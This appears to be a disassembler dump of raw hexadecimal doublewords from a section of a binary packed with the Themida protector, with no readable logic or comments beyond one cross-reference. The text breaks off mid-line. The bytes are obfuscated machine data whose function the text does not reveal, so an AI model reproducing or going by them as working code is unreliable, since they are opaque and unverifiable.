91858D3Bh, 5605E20Eh, 66505EF9h dd 89AE4FBEh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0EE2329C3h, 8BC65157h, 0E20625BDh dd 0F6B70F05h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9D09D9C3h, 5E21639h, 9D89006Ah dd 5E21765h, 8830Fh, 81500000h, 82AA3ED7h, 858D5F1Fh, 5E5DA61h dd 0AEFBEF9h, 0C0831DEEh, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 8390887Ah dd 0BD750EA8h, 6820Fh, 0B58B0000h, 5E20509h, 89F18B50h dd 8D892404h, 5E21795h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0C803AFC3h, 0BD89E2BAh dd 5E22619h, 0F28B006Ah, 1E2D95FFh, 6A05E2h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0A02E48C3h dd 9A5BE781h, 9D8D37A0h, 5E59D80h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0ADC35747h, 29D40022h, 0E21EA59Dh dd 6AD3FF05h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 22A4C350h, 37410C91h, 677D9F16h dd 16A59589h, 85FF05E2h, 5E22329h, 0D97E9h, 0E800h, 815D0000h dd 0E5DA6BEDh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 4F951C56h, 2ABC2803h dd 2BFD8529h, 0BD8105E2h, 5E22121h, 7D0h, 11A860Fh, 5F570000h dd 23C9B50Bh, 9D8B05E2h, 5E21BF5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 6C35646h, 0ECDB58Bh, 0E38105E2h dd 100h, 0BFEBF0Fh, 79850FDBh, 29000000h, 0E20691B5h, 0BEBD8305h dd 5E5D8h, 2C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 4B9540C3h, 0E9D5553Ah dd 6Bh, 17D99D89h, 85C705E2h, 5E5D8BEh, 1, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 17C35141h, 48F9FEC3h dd 6E9h, 1E249E00h, 0E9B740E3h, 2Bh, 0D8BE85C7h, 5E5h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0C240E8C3h, 8D31D557h, 0E21BF59Dh, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 61FF270Ah, 6429B214h, 0A01BD0Bh, 238105E2h, 0FFFFFEFFh dd 0E9DB8C66h, 12h, 0D09C22F1h, 0A2061A7Eh, 307B3D7Ah dd 0DDBE8459h, 0C3F6EFD5h, 95840F04h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0FD15C353h, 95FFB167h, 5E21621h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 33C35141h, 5899BE70h, 0E95047CBh dd 14h, 0E1ED7CC9h, 0B7FAEF44h, 64AAD5D6h, 9D164542h, 83660004h dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0CF91C357h, 4124D77Dh, 0E9BDFE9Fh dd 799BD8Bh, 0B58B05E2h, 5E22189h, 457E9h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0FEDE0264h, 0E9D584EEh, 11h, 3988E994h, 0CEA69C18h dd 80859DF1h, 0A706D960h, 6A00B098h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0C38CC351h dd 7E8h, 0D8679E00h, 0E03A0CD4h, 8970E65Fh, 0E210E185h dd 6A71E405h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0F0EEC357h, 5928F6EFh, 0FFADB8Ch dd 38Eh, 0F9B70F00h, 19E98D29h, 0B60F05E2h, 53006AD8h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 3AFBF184h, 81B21CE5h, 5E886h, 98E00000h, 0F8C924DFh dd 6BA5Eh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 98E16C3h, 9D89F99Bh, 5E20A61h, 6AC38Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8BB452C3h, 0E22C91B5h, 4E8C105h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0F0C35141h, 15BD2B38h, 6605E215h dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 2BECCDC3h, 0E21071BDh, 66D82B05h, 938541BFh dd 118F0Fh, 0CE90000h, 53000000h, 67F15823h, 0C9EEBDF5h dd 508F8CEDh, 6A93F78Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 309C355h, 8913E182h dd 0E232E185h, 21B5FF05h, 8905E221h, 0E2045D85h, 0B995FF05h dd 6A05E20Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0DA3CC353h, 85D9F132h, 4AEADA84h dd 0F1B50960h, 8905E215h, 0E21CC99Dh, 0B06105h, 0CED4BF66h dd 71E470E6h, 0E69BD8Bh, 613C05E2h, 242830Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0F0061C3h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 48ED0DC3h, 0F0FE2825h, 0BF667E5Fh dd 6BA1F05h, 8B000000h, 0E20B29B5h, 0FC38B05h, 0E8C1F7BFh dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0E2F766BFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0D6C35545h, 199529C7h, 2B05E205h, 0A9B589D8h dd 0E905E213h, 9, 4AE17BDh, 0A9D94D5Bh, 858958E2h, 5E21EB1h dd 880FD82Bh, 180h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 2FC35040h, 0FDC6D9A0h, 2357729Ah, 0E214D1B5h dd 7B95F05h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0A136C356h, 958D2916h dd 8305E20Bh, 6A00C1h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 9A9D24C3h, 4F576C92h, 3BB62DB5h dd 0FD860FD9h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0F7D6C357h, 40FC2DCBh dd 0B58B3096h, 5E219C9h, 9D98C66h, 0E20AFD8Dh, 4C1F605h dd 0BF840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0AF185C3h, 7EFA84A5h, 21A98509h dd 95FF05E2h, 5E21621h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0DDC35242h, 95DE9B58h, 0FA5E8479h, 0AD8D89B0h dd 8B05E21Fh, 0E20419BDh, 8B665B05h, 0C32BF5F1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 52C35242h, 0BF7E247Eh dd 2DC4E204h, 8343Dh, 2A860F00h, 0E9000000h, 28h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 4DC35040h, 0C6BF3E17h dd 4AAE858Bh, 0F5C08B44h, 0D88BC38Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 50C35343h, 7C7BB96Ah, 66277EA7h dd 0BF96C4BFh, 3819A903h, 218D85C7h, 0FD9105E2h, 8B663F0Fh dd 6AC08BFAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0AA6FC351h, 85D9A96h, 0BD81601Ah dd 5E22121h, 7D0h, 26850Fh, 8E80000h, 0AC000000h, 3B910B89h dd 5F1C1A4Ch, 2D298D89h, 85FF05E2h, 5E22121h, 155BD8Bh dd 0B58B05E2h, 5E22111h, 2121B5FFh, 0EE905E2h, 0DC000000h dd 461A3EF8h, 0AF032449h, 0E0A3CDEAh, 0B995FFB5h, 6A05E20Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 5BFDC350h, 8433DD64h, 89802478h, 55B26060h dd 92DB8166h, 0BF0F61CBh, 409061C9h, 54D8589h, 0BD8305E2h dd 5E204CDh, 0EC840F00h, 89000000h, 0E216F59Dh, 0EDBD8305h dd 5E21Fh, 0D9840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 3CE243C3h, 811804F5h dd 156D8D89h, 95FF05E2h, 5E204CDh, 33499D89h, 0BD8B05E2h dd 5E22635h, 840FC00Bh, 97h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 20C35242h, 9F6FA6EFh, 71BD8BDCh dd 8D05E207h, 0E24C428Dh, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 77C18D2Bh dd 0F8AA31FFh, 68C0Fh, 8D310000h, 5E22491h, 0B8F88B66h dd 5, 14518589h, 0E1FF05E2h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 6EC35040h, 0F7EBFE25h, 9772F3C6h dd 0E1BD8B6Ah, 8305E217h, 0E23199BDh, 840F0005h, 522h dd 0A39B58Bh, 0BD8305E2h, 5E21FEDh, 0F840F00h, 6A000005h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 583BC353h, 37BFF599h, 0E50DBEB4h, 6820Fh dd 9D890000h, 5E20D19h, 1B718D8Dh, 6A05E2h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 1753FBC3h dd 57CBF1F4h, 958930A4h, 5E2215Dh, 7C8401C7h, 6A44B2h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 419B31C3h, 0A106BB24h, 18175C6h, 1499CFCBh, 0DE8h, 8A7B7F00h dd 24F49CA6h, 0B7E2348Ch, 0C75F414Eh, 6B340441h, 6660CE70h dd 9B12E681h, 14E8h, 0B7F8800h, 721E65FFh, 0FEFB7514h dd 7107B7E1h, 0C775B8AAh, 8DB589D2h, 5B05E216h, 27BF6661h dd 441819Bh, 31D6D710h, 8E1B58Bh, 6A05E2h, 14D5BD29h, 9D8905E2h dd 5E21495h, 1B71858Dh, 853105E2h, 5E21A41h, 0F88B6650h dd 3240489h, 0E20141B5h, 9995FF05h, 8905E231h, 0E20CFDBDh dd 718D8D05h, 8B05E21Bh, 0E21471BDh, 1C705h, 0E9000000h dd 13h, 68DCE990h, 15749C26h, 213421C6h, 0D7A225DAh, 0C768C943h dd 441h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0EC751C3h, 0BCA117Ah, 0C00B0958h dd 0C6840Fh, 10E80000h, 0E000000h, 649B0ED6h, 4E5A891Dh dd 0A5230E2Eh, 89C3EF83h, 0E23259B5h, 8D8D5E05h, 5E24C42h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 30C35343h dd 883E769Bh, 840FF4h, 60000000h, 8E8h, 0CBDC1200h, 0D44D6C90h dd 13E923h, 77DC0000h, 0DDE58530h, 0E343514Ah, 0CEA6C57h dd 6BD1DF0h, 0B86158C3h, 5, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0B7C35646h, 0F7B0370Bh, 0FFF4CDF5h, 55006AE1h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0E5702604h, 66F561DAh, 0B589F08Bh, 5E221F9h, 1B718D8Dh dd 0DE905E2h, 0A4000000h, 3C87EE53h, 56B9AF28h, 91D4CB80h dd 727C01C7h, 890F44AAh, 0 dd 0CFCB0181h, 6A1499h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0A71294C3h, 0E97E9124h, 441C7C2h dd 0CE78753Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 87C35545h, 8B0F8300h, 3, 81F28B66h, 0D7100441h dd 858931D6h, 5E2156Dh, 860F006Ah, 0 dd 1B71858Dh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 96A0C6C3h, 0AA903950h, 0AE9EDD1h dd 51000000h, 4982DBF4h, 4273CC18h, 0BF66908Ah, 5050DCA2h dd 1EBF6652h, 0E8310F34h, 0Ch, 7BD01F2Ah, 0C9E027C5h, 0E8E6B91Fh dd 0B40CBF66h, 90585A5Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 3AC35646h, 8D894B42h, 5E223B5h, 319995FFh dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 3DB23C3h, 8D8D7F54h, 5E21B71h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 5EC35242h, 0C325C561h dd 0FEC97144h, 1C7A7h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0EE34C351h dd 0FE922h, 86C10000h, 79E43D0Dh, 8D9D6915h, 0C3D42D73h dd 441C7A5h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1EC35141h dd 0A8ED6DB3h, 95891648h, 5E20BA1h, 840FC00Bh, 19h, 428D8DF8h dd 6605E24Ch, 5B8F38Bh, 8B000000h, 0E21161BDh, 8BE1FF05h dd 718D8DFAh, 2B05E21Bh, 0E21DA5BDh, 0A501C705h, 0E854CA95h dd 7, 0FA121DDh, 8B3EBE47h, 0E2005DBDh, 95895E05h, 5E2243Dh dd 0CFCB0181h, 41C71499h, 5F596904h, 44181CEh, 31D6D710h dd 1B51B589h, 0B58B05E2h, 5E20135h, 13E9006Ah, 80000000h dd 8F8E04F3h, 0BAE428FBh, 0A4A86946h, 0F10B29A3h, 858D3DD0h dd 5E21B71h, 0D850Fh, 8E90000h, 0B6000000h, 4183B7CDh dd 9046A57Ch, 5350FB8Bh, 8E0F60h, 66000000h, 61C9CAB8h dd 0EF81905Eh, 4125230Ch, 319995FFh, 8D8D05E2h, 5E21B71h dd 2FA5BD8Bh, 1C705E2h, 0 dd 0AEA6C781h, 41C71ED1h, 4, 8E0F00h, 0B000000h, 1F840FC0h dd 8D000000h, 0E24C428Dh, 9E905h, 0FBAE0000h, 0D2035939h dd 0B8F975E2h, 5, 0FE1FFF8h, 0CA03F1BFh, 0FFF26CE9h, 0F98B66FFh dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 2AC925C3h, 66C9C491h, 4EBF18Bh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 13C35040h dd 0B70F7B5Fh, 91858DF2h, 6A05E20Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B849C353h dd 0F18D290Ah, 9005E214h, 0E850F38Bh, 5, 3A3C5938h, 6A905E30h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7D55C357h, 27265515h, 31162C4Bh, 0E221F995h dd 898D2905h, 6A05E20Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0E93BEF6Bh, 10h, 0B933E0F1h dd 2CF95A12h, 0CE4EBA9Ch, 40360DC9h, 99F68166h, 6A006A8Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 9949C351h, 0B3DA1FD4h, 0BE661369h, 890FCF60h dd 6, 2AB1B58Bh, 858D05E2h, 5E5EA00h, 19B5BD29h, 0C08305E2h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0E518A81Dh, 40EEA232h, 0FADB58Bh, 669005E2h dd 8B50F18Bh, 6A90F0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 8AE67BC3h, 0E89C4123h, 14h, 7AA6108Eh dd 3622D379h, 747D1A4Fh, 46E7CF4h, 0B77B2A9Bh, 50006A5Eh dd 4A96DE81h, 895E6A10h, 0E20BA195h, 0E9006A05h, 10h, 0CC184982h dd 678A4273h, 0F5E6BC84h, 440AB6F6h, 1E2D95FFh, 816605E2h dd 8DF0DBEEh, 0E59D809Dh, 15B50305h, 0FF05E20Ch, 0F2BF0FD3h dd 232985FFh, 830F05E2h, 13h, 7E8h, 3EEB700h, 0C88842B9h dd 0D96EE81h, 0E95E13E8h, 0BEDh, 0E8h, 0ED815D00h, 5E5EA0Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 3EC35040h dd 2EE1B7EBh, 0B27E383Fh, 21BD81DBh, 0D005E221h, 0F000007h dd 19C86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 1E21D045h, 0BE86A016h, 9DB58BEFh dd 8B05E223h, 0E20B5D9Dh, 0F7BF0F05h, 100E381h, 29600000h dd 0E218E985h, 61FE8A05h, 8E9h, 0AE7FC500h, 541C07DCh dd 0FDB0BE6h, 0A985h, 60575600h, 835E5E61h, 0E5E825BDh dd 840F0005h, 3Bh, 15219D89h, 0B53105E2h, 5E22185h, 0B7E9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 2DA5AD60h, 430D84E6h, 299589FFh, 0C705E217h dd 0E5E82585h, 105h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 9AAC8EA3h, 0B52B0AABh dd 5E20A4Dh, 57E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0EFF1509Eh, 3B74DA1h dd 85C73490h, 5E5E825h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 27C35242h dd 7B9B58Bh, 0B58B05E2h, 5E2090Dh, 0B5D9D8Dh, 6A05E2h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 56E02EC3h, 9DB589h, 65BE05E2h, 81388F34h, 0FFFEFF23h dd 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0AA698839h, 0F508C00h, 686h, 79B58B00h dd 8B05E210h, 0E2051DB5h, 0DB8C6605h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 52C35646h, 0CD20453Ch, 6810FF1h dd 89000000h, 0E20D8D85h, 4C3F605h, 48840Fh, 0BD890000h dd 5E21A01h, 2C098D89h, 95FF05E2h, 5E21621h, 3AD68166h dd 8B66502Dh, 240489F3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 99C35545h, 3C93EB3Ah, 0FF38B34h, 189h dd 70E9F800h, 51000005h, 259D8952h, 5E05E215h, 8B00B05Eh dd 0E20409B5h, 5170E605h, 28F0Fh, 61600000h, 71E4F85Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 80C35040h dd 0A498BF70h, 4B9D0793h, 0F3B70F42h, 89D8B60Fh, 0E229A18Dh dd 6BA05h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8160F1C3h, 0F547E6CAh, 198F0F4Ah dd 0E8000000h, 13h, 0DF577C0Bh, 7FEDFAADh, 279D4BC6h, 339AE408h dd 5F71F3DBh, 0CAF5BE61h, 0C38B4B46h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 6FC35242h, 5BA70F01h, 9E8h dd 0EA675000h, 46A25AB5h, 0B503D281h, 5E21819h, 4E8C15Eh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0FCC35242h dd 0AD2BE909h, 5E8E00Eh, 0C9000000h, 0E25B53FFh, 18E99589h dd 665E05E2h, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0B9962BC3h, 0F78B9FDFh, 6AD82Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0C8E297C3h, 0E5ADA083h, 0D759D89h, 529305E2h, 5EF78B66h dd 0E8605050h, 11h, 491FD93Bh, 0EEDEB2D3h, 0C86F19A4h dd 73FD89E6h, 5E61591Dh, 53006A93h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 71A4461Fh, 6DB52329h dd 8B05E21Bh, 0E21359B5h, 21B5FF05h, 0E905E221h, 0Dh, 4D4D8775h dd 7F6C7A8Bh, 59B350Fh, 0B995FFCDh, 6A05E20Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0D912C357h, 0B0A74BE0h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 31988565h dd 0E21FC1B5h, 6A70E605h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 9126C353h, 43457188h dd 6E88EF7h, 0B9000000h, 5C0FFC0h, 0B5EF584h, 0E203D9B5h dd 6A71E405h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0E0B8C355h, 7DFE5F70h, 3CF6B70Fh dd 0FC830F61h, 6A000002h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 812FC352h, 1DCC0FDEh dd 0D8B60F49h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 5DC35343h, 0BE66068Eh, 9D8962D3h, 5E22AF9h, 6BAh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0DB6E7DA4h, 85B58B6Ch, 8B05E20Ch, 0F146BEC3h dd 0E8C15F1Ch, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 70040DD7h, 0E2F766F3h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0AC35545h dd 8E927E8h, 24000000h, 7A88948Dh, 8BD466CBh, 0E222D1B5h dd 6AD82B05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 7B5CC355h, 0F99D09F1h, 5805E219h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CCC35141h dd 0B360C411h, 6B866D6h, 0D82B6139h, 1D1880Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0A83F9EC3h, 1F78B66h, 0E208C99Dh, 7B905h, 0ACBE0000h dd 836DF9E3h, 6A00C1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 3298DDC3h, 7B2C1EB7h, 0FF8D721h dd 80h, 0FD93B00h, 16A86h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 82B2E55h, 9E786E88h dd 48BE49BDh, 666AE649h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 6D6E97C3h, 25259D31h dd 0EE905E2h, 0E2000000h, 0CF36A2EAh, 2FBEC6C8h, 3DE8408Eh dd 4C1F611h, 0F7840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 4ABEC5C3h, 8B6DCFB9h dd 0A59D29F1h, 0FF05E21Eh, 0E2162195h, 0E1BD8905h, 5B05E200h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F7C35141h dd 0E2C83B9Dh, 0B799EA43h, 0C32BF28Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 77C35040h, 4F0DD866h, 0C77996EBh dd 6A18589h, 8B6605E2h, 59BD89F1h, 3D05E205h, 834h, 5B860Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0A40B56C3h, 7A6346E4h, 1563D14h, 0E2070DBDh dd 30E95E05h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 9284C355h, 0A99914A6h dd 0E15873A2h, 0DE248BBEh, 66C08B4Bh, 8B2EBDBEh, 8BD88BC3h dd 0E20179B5h, 0F585C705h, 0F705E21Bh, 6A73DDE7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 513C352h, 77FE1935h, 0F9BD8912h, 8B05E20Bh, 0B9F560C0h dd 396B8897h, 59B50361h, 8105E200h, 0E22121BDh, 7D005h dd 3D850F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0A29CC353h, 3444528h dd 0E9BD298Fh, 8B05E232h, 0E20ADDB5h, 2185FF05h, 6605E221h dd 0B589F78Bh, 5E20611h, 2121B5FFh, 6A05E2h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0F25D34C3h dd 0F0035780h, 669DE22Ah, 51E1AABEh, 0C0A9C681h, 0E85E27C9h dd 14h, 43E0213Ah, 0CC694260h, 99B79F2h, 5B3892CEh, 5A0EB91h dd 3325B58Bh, 0FF5E05E2h, 0E20AB995h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0AEB917BEh, 0D88B90F6h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0F5C35141h, 5E95A5A5h, 8890F59h, 0F000000h dd 282h, 83616000h, 0E21CA1BDh, 840F0005h, 2Bh, 28EE9FCh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 4584DEC3h dd 0DC4A16B8h, 8CF0BF0Fh, 51006ADFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0A40182E3h dd 0CB96FDAAh, 45EE8192h, 0E955FF22h, 9, 9025C0DFh, 0C7BB1366h dd 0C7F766C8h, 850F0004h, 224h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 8AC35040h, 759866B7h, 0E03841A7h dd 0BFh, 0E6816600h, 0B58B502Fh, 5E21DF5h, 0F5699D8Dh dd 6A05E5h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0B99BC9C3h, 0B589D86Ah, 5E210A1h, 14E850h dd 2FC40000h, 195556B4h, 3B7D8BDEh, 975F9F68h, 7555DA71h dd 7E96652h, 0FD000000h, 5C1114BEh, 895EDAC6h, 0B58B241Ch dd 5E216A9h, 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 749CC353h, 3421C615h dd 0BE921h, 0E6F50000h, 0B1F8051Ch, 0C806E0BEh, 258964C7h dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3BC35747h dd 0C3B4CA60h, 14893FC5h, 0CE85Ah, 0AB490000h, 6FCEFC93h dd 2B6ECD77h, 830FF2C8h, 0 aLJ db '^‹Äj',0 db 52h, 0E8h, 3 dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0D589C352h, 419CBF3h, 78DE81CCh, 0CD2A3D0Bh, 2300EB01h dd 0E2178DB5h, 64F18B05h, 58Fh, 0FE90000h, 5F000000h, 7FA31218h dd 0C22EBAFCh, 0A4880E05h, 0C4832F03h, 51006A04h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0CE816690h, 0C00B9941h, 9A840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 8A5450C3h dd 61B58B59h, 8D05E231h, 0E24C42BDh, 8D858905h, 0B805E20Eh dd 5, 0F91EBE66h, 9589E7FFh, 5E2215Dh, 245C8B57h, 0B8838B10h dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h dd 335F0200h, 8B66C3C0h, 50006AF2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0E9A5B258h, 10h, 92A377C5h dd 8CAACDFBh, 34CC2BC2h, 93D90A2h, 3DE9CA2Bh, 6AFFFFF4h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0B51AC356h, 0CEAE810Ah, 47E32E9h, 8E829BEh dword_52D2A8 dd 3204EB19h, 0E93B3B2Ch, 4A9h, 0A5216593h, 0E9410C4h ; DATA XREF: Themida_:004EF854o dd 0D7F3BF3Bh, 0B9256392h, 18D13C8h, 49B20BEAh, 0EFEA5F7Bh dd 964425A1h, 3CBD8C0Ah, 156C507Eh, 0FD4C83B4h, 0EBD352F9h dd 0D823696Eh, 33946499h, 0FC18B902h, 382F64D3h, 0B95F10B9h dd 0B9F6FC18h, 0D2077A20h, 58951BDEh, 